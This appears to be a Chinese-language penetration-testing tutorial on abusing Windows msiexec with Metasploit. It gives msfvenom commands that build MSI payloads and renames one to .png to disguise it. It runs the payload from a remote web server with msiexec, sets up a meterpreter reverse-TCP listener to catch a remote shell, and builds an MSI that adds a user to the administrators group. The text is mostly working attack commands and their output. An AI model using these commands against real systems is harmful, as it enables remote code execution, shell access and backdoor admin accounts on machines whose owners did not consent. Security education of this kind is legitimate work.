MSIexec

msiexec是一个命令行工具,它用来安装,修复和卸载使用Windows安装程序技术的软件包。Windows安装程序技术是一种用于管理Windows系统上软件的安装和配置的技术。msiexec.exe文件通常位于%systemroot%System32文件夹中。

Metasploit

使用Metasploit生成payload:

┌──(root㉿kali)-[~]
└─# msfvenom -p windows/exec CMD=cmd.exe -f msi > /var/www/html/cmd.msi
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 192 bytes
Final size of msi file: 159744 bytes

在Windows主机的运行窗口中输入下面命令即可弹出CMD:

msiexec /quiet /i C:\Users\snowwolf\Desktop\cmd.msi

即使将cmd.msi重命名为其它拓展名也照样可以运行。比如输入以下命令将cmd.msi重命名为png:

┌──(root㉿kali)-[/var/www/html]
└─# mv cmd.msi cmd.png 

然后在Windows主机运行窗口输入以下命令即可弹出CMD:

msiexec /q /i http://192.168.8.145/cmd.png

当然,也可以通过Metasploit生成Shell,使用以下命令即可:

┌──(root㉿kali)-[/var/www/html]
└─# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.8.145 LPORT=5555 -f msi > shell.msi
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of msi file: 159744 bytes

然后设置监听:

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.8.145
lhost => 192.168.8.145
msf6 exploit(multi/handler) > set lport 5555
lport => 5555
msf6 exploit(multi/handler) > exploit

接下来只需要在Windows主机运行以下命令即可获取到会话:

msiexec /q /i http://192.168.8.145/shell.msi

如果需要使用MSI执行系统命令,可以尝试使用如下命令:

msfvenom -p windows/exec CMD='net localgroup administrators snowwolf /add' -f msi > snowwolf.msi

该示例命令会将snowwolf用户添加管理员组。